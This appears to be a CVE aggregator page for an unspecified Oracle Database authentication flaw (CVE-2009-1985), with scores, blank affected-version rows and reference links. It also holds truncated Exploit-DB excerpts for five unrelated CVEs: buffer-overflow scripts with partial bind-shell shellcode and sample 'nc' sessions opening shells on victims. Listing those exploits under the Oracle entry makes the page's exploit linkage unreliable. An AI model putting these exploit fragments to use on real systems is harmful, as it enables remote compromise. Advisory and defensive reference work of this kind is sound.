CVE-2009-1985
published 2009-10-22CVE-2009-1985: Unspecified vulnerability in the Network Authentication component in Oracle Database 9.2.0.8, 9.2.0.8DV, 10.1.0.5, and 10.2.0.4 allows remote attackers to…
PriorityP350critical10CVSS 2.0
AVNACLAuNCCICAC
EPSS
5.38%
91.8th percentile
Unspecified vulnerability in the Network Authentication component in Oracle Database 9.2.0.8, 9.2.0.8DV, 10.1.0.5, and 10.2.0.4 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| oracle | database_server | — | — |
| oracle | database_server | — | — |
| oracle | database_server | — | — |
| oracle | database_server | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
HP OpenView Network Node Manager (OV NNM) - 'OvWebHelp.exe' CGI Topic Overflow
exploitdb·2010-03-30
CVE-2009-4178 HP OpenView Network Node Manager (OV NNM) - 'OvWebHelp.exe' CGI Topic Overflow
HP OpenView Network Node Manager (OV NNM) - 'OvWebHelp.exe' CGI Topic Overflow
---
#!/usr/bin/python
# Exploit title: HP OpenView NNM OvWebHelp.exe CGI Topic overflow
# Date: 2010.03.30
# Software link: hp.com
# Version: 7.53
# Tested on: Windows 2003 SP2
# CVE: 2009-4178
# Code:
############################################
# Trying 172.16.29.130...
# Connected to 172.16.29.130.
# Escape character is '^]'.
# Microsoft Windows [Version 5.2.3790]
# (C) Copyright 1985-2003 Microsoft Corp.
#
# C:\Program Files\HP OpenView\www\cgi-bin>
############################################
import struct
import socket
import httplib
import urllib
#[*] x86/alpha_mixed succeeded with size 746 (iteration=1)
sc =(
"\x89\xe3\xd9\xc3\xd9\x73\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x4
Exploit-DB
BigAnt Server 2.50 - GET Remote Buffer Overflow (SEH)
exploitdb·2009-09-15
CVE-2009-4660 BigAnt Server 2.50 - GET Remote Buffer Overflow (SEH)
BigAnt Server 2.50 - GET Remote Buffer Overflow (SEH)
---
#!/usr/bin/python
# BigAnt Server version 2.50 SEH Overwrite - 0day
# Written and discovered by Blake
# Tested on Windows XP SP3
#
# $ ./bigant.py 192.168.1.131 6660
#
# [*] BigAnt Server v2.50 SEH Overwrite 0day
# [*] Written and discovered by Blake
# [*] Tested on Windows XP SP3
#
# [+] Connecting to 192.168.1.131 on port 6660
# [+] Sending payload
# [+] Connect to bind shell on port 4444
#
# $ nc 192.168.1.131 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\WINDOWS\system32>
import socket, sys
if len(sys.argv)!= 3:
print "\n[*] Usage: %s \n" % sys.argv[0]
sys.exit(0)
host = sys.argv[1]
port = int(sys.argv[2]) # port 6660 by default
# windows/shell_bind_tcp - 696 bytes Encoder:
Exploit-DB
Audio Lib Player - '.m3u' Local Buffer Overflow (SEH)
exploitdb·2009-09-09
CVE-2009-3221 Audio Lib Player - '.m3u' Local Buffer Overflow (SEH)
Audio Lib Player - '.m3u' Local Buffer Overflow (SEH)
---
# Audio Lib Player m3u SEH overwrite
# product: http://www.toocharger.com/telecharger/logiciels/audio-lib-player/19056.htm
# Usage: Create playlist, load exploit.m3u and connect to shell on port 4444
#
# $ nc 192.168.1.131 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Documents and Settings\blake\Desktop\ALP>
import sys
print "\n[*] Audio Lib Player m3u SEH Overwrite"
print "[*] Written by Blake"
print "[*] Tested on Windows XP SP3\n"
# windows/shell_bind_tcp - 695 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444, RHOST=
shellcode = (
"\xdd\xc1\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\
Exploit-DB
POP Peeper 3.4.0.0 - Date Remote Buffer Overflow
exploitdb·2009-03-12
CVE-2009-1029 POP Peeper 3.4.0.0 - Date Remote Buffer Overflow
POP Peeper 3.4.0.0 - Date Remote Buffer Overflow
---
#!/usr/bin/perl
# KL0309EXP-poppeeper_date-bof.pl
# 03.12.2009
# Krakow Labs Development [www.krakowlabs.com]
# POP Peeper 3.4.0.0 Date Remote Buffer Overflow Exploit
#
# SEH overwrite exploitation, uses Imap.dll (included with POP Peeper) for universal
# exploitation (more love for no /SafeSEH). Tested on Windows XP SP3.
#
# rush@KL (Jeremy Brown) [[email protected]]
#
# rush@linux:~$ sudo perl KL0309EXP-poppeeper_date-bof.pl
# xx.xx.xx.xx
# rush@linux:~$ nc xx.xx.xx.xx 55555
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\POP Peeper>exit
# exit
# rush@linux:~$
#
# Associated Files & Information:
# http://www.krakowlabs.com/res/adv/KL0309ADV-poppeeper_date-bof.txt
# http://www
Exploit-DB
WinFTP Server 2.3.0 - 'LIST' (Authenticated) Remote Buffer Overflow
exploitdb·2009-01-26
CVE-2009-0351 WinFTP Server 2.3.0 - 'LIST' (Authenticated) Remote Buffer Overflow
WinFTP Server 2.3.0 - 'LIST' (Authenticated) Remote Buffer Overflow
---
#!/usr/bin/perl
#
# WinFTP 2.3.0 post-auth remote exploit. (www.wftpserver.com)
#
################################################################################
# #
# root@halcyon:~/Exploits/WinFTP# perl winftp-remote.pl #
# #
# Usage: winftp-remote.pl #
# #
# Target: 1 -> Win2k #
# Target: 2 -> WinXP sp2/3 (DoS only) #
# #
# root@halcyon:~/Exploits/WinFTP# perl winftp-remote.pl 10.0.0.5 user1 pass1 1 #
# #
# [=] Connected. #
# [=] Sending user user1 #
# [=] Sending pass pass1 #
# [=] Sending payload... #
# [=] Done. You should have a command shell on port 7777. #
# #
# root@halcyon:~/Exploits/WinFTP# nc 10.0.0.5 7777 #
# Microsoft Windows 2000 [Version 5.00.2195] #
# (C) Copyright 1985-1999 Microsoft Corp. #
# #
#
No writeups or analysis indexed.
http://osvdb.org/59111http://secunia.com/advisories/37027http://www.oracle.com/technetwork/topics/security/cpuoct2009-096303.htmlhttp://www.securityfocus.com/bid/36745http://www.securitytracker.com/id?1023057http://www.us-cert.gov/cas/techalerts/TA09-294A.htmlhttp://osvdb.org/59111http://secunia.com/advisories/37027http://www.oracle.com/technetwork/topics/security/cpuoct2009-096303.htmlhttp://www.securityfocus.com/bid/36745http://www.securitytracker.com/id?1023057http://www.us-cert.gov/cas/techalerts/TA09-294A.html
2009-10-22
Published